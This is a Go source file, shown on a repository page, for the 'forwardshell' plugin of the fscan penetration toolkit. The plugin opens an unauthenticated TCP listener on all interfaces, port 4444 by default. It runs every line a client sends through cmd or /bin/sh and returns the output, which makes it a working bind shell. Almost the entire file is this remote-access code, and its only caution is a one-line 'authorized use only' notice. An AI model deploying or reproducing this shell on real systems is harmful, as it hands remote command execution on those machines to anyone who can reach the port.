fscan/Plugins/local/forwardshell/plugin.go
ZacharyZcR 0eef393420 feat: 添加正向Shell本地插件
- 新增forwardshell本地插件,支持跨平台远程Shell访问
- 支持Windows (cmd)、Linux/macOS (/bin/sh) 平台
- 添加-fsh-port参数指定监听端口,默认4444
- 实现并发连接处理和命令超时控制
- 集成生命周期管理,支持长时间运行
- 提供exit命令优雅断开连接
2025-08-11 05:17:39 +08:00

331 lines
8.9 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package forwardshell
import (
"bufio"
"context"
"fmt"
"net"
"os"
"os/exec"
"runtime"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// ForwardShellPlugin 正向Shell插件 - 使用简化架构
type ForwardShellPlugin struct {
*local.BaseLocalPlugin
port int
listener net.Listener
}
// NewForwardShellPlugin 创建正向Shell插件 - 简化版本
func NewForwardShellPlugin() *ForwardShellPlugin {
// 从全局参数获取正向Shell端口
port := common.ForwardShellPort
if port <= 0 {
port = 4444 // 默认端口
}
metadata := &base.PluginMetadata{
Name: "forwardshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地正向Shell服务器插件在指定端口提供Shell访问",
Category: "local",
Tags: []string{"local", "shell", "remote", "access"},
Protocols: []string{"local"},
}
plugin := &ForwardShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
port: port,
}
// 设置支持的平台支持Windows、Linux和macOS
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限(除非需要绑定低端口)
plugin.SetRequiresPrivileges(port < 1024)
return plugin
}
// Initialize 初始化插件
func (p *ForwardShellPlugin) Initialize() error {
// 调用基类初始化
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行正向Shell扫描 - 简化版本
func (p *ForwardShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动正向Shell服务器...")
// 启动正向Shell服务器
common.LogBase(fmt.Sprintf("在端口 %d 上启动正向Shell服务", p.port))
// 直接在当前goroutine中运行这样可以确保在设置ForwardShellActive后立即被主程序检测到
err := p.startForwardShellServer(ctx, p.port)
if err != nil {
common.LogError(fmt.Sprintf("正向Shell服务器错误: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "ForwardShell",
Banner: fmt.Sprintf("正向Shell已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
Extra: map[string]interface{}{
"port": p.port,
"platform": runtime.GOOS,
"service": "shell",
"status": "completed",
},
}
return result, nil
}
// startForwardShellServer 启动正向Shell服务器 - 核心实现
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int) error {
// 监听指定端口
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
if err != nil {
return fmt.Errorf("监听端口失败: %v", err)
}
defer listener.Close()
p.listener = listener
common.LogSuccess(fmt.Sprintf("正向Shell服务器已在 0.0.0.0:%d 上启动", port))
// 设置正向Shell为活跃状态告诉主程序保持运行
common.ForwardShellActive = true
defer func() {
// 确保退出时清除活跃状态
common.ForwardShellActive = false
}()
// 主循环处理连接
for {
select {
case <-ctx.Done():
common.LogBase("正向Shell服务器被上下文取消")
return ctx.Err()
default:
}
// 设置监听器超时,以便能响应上下文取消
if tcpListener, ok := listener.(*net.TCPListener); ok {
tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
}
conn, err := listener.Accept()
if err != nil {
// 检查是否是超时错误
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
continue // 超时继续循环
}
common.LogError(fmt.Sprintf("接受连接失败: %v", err))
continue
}
common.LogSuccess(fmt.Sprintf("客户端连接来自: %s", conn.RemoteAddr().String()))
// 并发处理客户端连接
go p.handleClient(conn)
}
}
// handleClient 处理客户端连接
func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) {
defer clientConn.Close()
// 发送欢迎信息
welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS)
clientConn.Write([]byte(welcome))
// 创建命令处理器
scanner := bufio.NewScanner(clientConn)
for scanner.Scan() {
command := strings.TrimSpace(scanner.Text())
if command == "" {
continue
}
if command == "exit" {
clientConn.Write([]byte("Goodbye!\n"))
common.LogBase(fmt.Sprintf("客户端 %s 主动断开连接", clientConn.RemoteAddr().String()))
break
}
// 执行命令并返回结果
p.executeCommand(clientConn, command)
}
if err := scanner.Err(); err != nil {
common.LogError(fmt.Sprintf("读取客户端命令失败: %v", err))
}
}
// executeCommand 执行命令并返回结果
func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
var cmd *exec.Cmd
// 根据平台创建命令
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/c", command)
case "linux", "darwin":
cmd = exec.Command("/bin/sh", "-c", command)
default:
conn.Write([]byte(fmt.Sprintf("不支持的平台: %s\n", runtime.GOOS)))
return
}
// 设置命令超时
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...)
// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if ctx.Err() == context.DeadlineExceeded {
conn.Write([]byte("命令执行超时\n"))
return
}
if err != nil {
conn.Write([]byte(fmt.Sprintf("命令执行失败: %v\n", err)))
return
}
// 发送命令输出
if len(output) == 0 {
conn.Write([]byte("(命令执行成功,无输出)\n"))
} else {
conn.Write(output)
// 确保输出以换行符结尾
if !strings.HasSuffix(string(output), "\n") {
conn.Write([]byte("\n"))
}
}
// 发送命令提示符
prompt := p.getPrompt()
conn.Write([]byte(prompt))
}
// getPrompt 获取平台特定的命令提示符
func (p *ForwardShellPlugin) getPrompt() string {
hostname, _ := os.Hostname()
username := os.Getenv("USER")
if username == "" {
username = os.Getenv("USERNAME") // Windows
}
if username == "" {
username = "user"
}
switch runtime.GOOS {
case "windows":
return fmt.Sprintf("%s@%s> ", username, hostname)
case "linux", "darwin":
return fmt.Sprintf("%s@%s$ ", username, hostname)
default:
return fmt.Sprintf("%s@%s# ", username, hostname)
}
}
// GetLocalData 获取正向Shell本地数据
func (p *ForwardShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "forwardshell"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["port"] = p.port
data["service"] = "shell"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// ExtractData 提取数据正向Shell主要是服务功能
func (p *ForwardShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("正向Shell服务器运行完成端口: %d", p.port),
Data: data,
Extra: map[string]interface{}{
"port": p.port,
"service": "shell",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *ForwardShellPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("正向Shell服务器插件\n")
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 提供远程Shell访问支持命令执行\n")
info.WriteString("协议: TCP基于文本的命令交互\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
info.WriteString("安全提示: 仅在授权环境中使用,建议配合防火墙限制访问\n")
return info.String()
}
// RegisterForwardShellPlugin 注册正向Shell插件
func RegisterForwardShellPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "forwardshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地正向Shell服务器插件在指定端口提供Shell访问",
Category: "local",
Tags: []string{"forwardshell", "local", "shell", "remote"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewForwardShellPlugin()
},
)
base.GlobalPluginRegistry.Register("forwardshell", factory)
}
// init 插件注册函数
func init() {
RegisterForwardShellPlugin()
}